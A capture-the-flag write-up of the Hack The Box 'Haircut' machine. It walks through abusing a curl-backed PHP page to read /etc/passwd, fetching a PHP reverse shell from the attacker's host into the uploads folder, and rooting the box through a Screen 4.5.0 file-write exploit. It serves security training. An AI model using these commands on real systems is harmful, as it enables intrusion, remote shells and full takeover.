IP: 10.129.1.107
Completed on: Feb 16, 2021
Time took: 2.7 hrs
Enumeration
Scanning ports
Nmap for default scripts shows only port 22 and 80 are open:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 12:33 EST
Nmap scan report for 10.129.1.107
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerating web server
Routing to http://10.129.1.107/ we find a styling picture. We can verify site uses html by routing to index.html:
Let’s now run a force browsing with gobuster using html extensions:
sudo gobuster dir -u http://10.129.1.107/ -x html -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.129.1.107/
[+] Threads: 10
[+] Wordlist: /home/defendergb/SecLists/Discovery/Web-Content/raft-medium-words.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html
[+] Timeout: 10s
===============================================================
2021/02/13 12:44:46 Starting gobuster
===============================================================
/index.html (Status: 200)
/test.html (Status: 200)
/uploads (Status: 301)
/. (Status: 301)
/hair.html (Status: 200)
===============================================================
2021/02/13 12:48:37 Finished
===============================================================
Routing to each page gave me pictures of models and hairs. Bruteforcing /uploads also came at a fail.
After spending ~10 minutes switching my wordlists and looking for an exposed vulnerable page, I scanned for files with txt and php extensions and got a hit:
Routing to /exposed.php , let’s click on ‘Go’ and examine the behavior. Page looks to be requesting and downloading a page and presenting it:
Looking at the source we can identify that it’s sending a POST form:
Identifying functionality
Removing the url we identify that the query is using curl to get the requested page:
Exploiting curl
Knowing it’s using curl let’s utilize curl’s ability to query files on the server and see if we are able to query /etc/passwd:
Awesome! Let’s then use curl’s ability to download files to host a reverse php file and allow us to get initial access.
Uploading PHP reverse shell
I’ll be using pentest monkey’s php-reverse-shell.php. I hosted on my attack box and used the following to download my file:
http://10.10.14.168:8000/php-reverse-shell.php -o file.php
The command fails as the user running the command (probably www-data) does not have permissions to upload this file. Specifically uploading file to /var/www/html/uploads/file.php worked though:
http://10.10.14.168:8000/php-reverse-shell.php -o /var/www/html/uploads/file.php
Routing to http://haircut.htb/uploads/file.php (make sure we have a listening netcat) it gives us initial access to the box! Let’s now Privilege Escalate.
You can use python3 -c 'import pty; pty.spawn("/bin/bash")' to improve the shell
Privilege Escalate
Enumerating host
I will use following commands to get initial information of the box:
$ uname -a && id && groups
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
$ find / -perm -u=s -type f 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
To view what content www-data has access to within /home, I could run either of the following:
$ ls -laR /home
$ find /home -printf "%f\t%p\t%u\t%g\t%g\t%m\n" 2>/dev/null | column -t
Exploiting Screen 4.5.0
Through looking at these files, only one that I noticed was strange was /usr/bin/screen-4.5.0 version. Researching this version we can find a local privilege escalation exploit:
Screen 4.5.0 is vulnerable to arbitrary file write though it’s logging function. We can verify that the system is vulnerable by executing POC commands:
$ umask 000
$ screen -D -m -L root.txt echo HelloWorld
$ ls -l root.txt
-rw-rw-rw- 1 root www-data 247 Feb 13 21:36 root.txt
$ cat root.txt
HelloWorld
Now using the default exploit bash script will fail because gcc on haircut box is not using the correct cc1. Doing a locate cc1, we find the file within /usr/lib/gcc/x86_64-linux-gnu/5, add the following to the gcc command on the exploit and then run it locally:
-B /usr/lib/gcc/x86_64-linux-gnu/5
Running an id, we can see that we now have root as www-data user. Below I get both flags that we identified before:
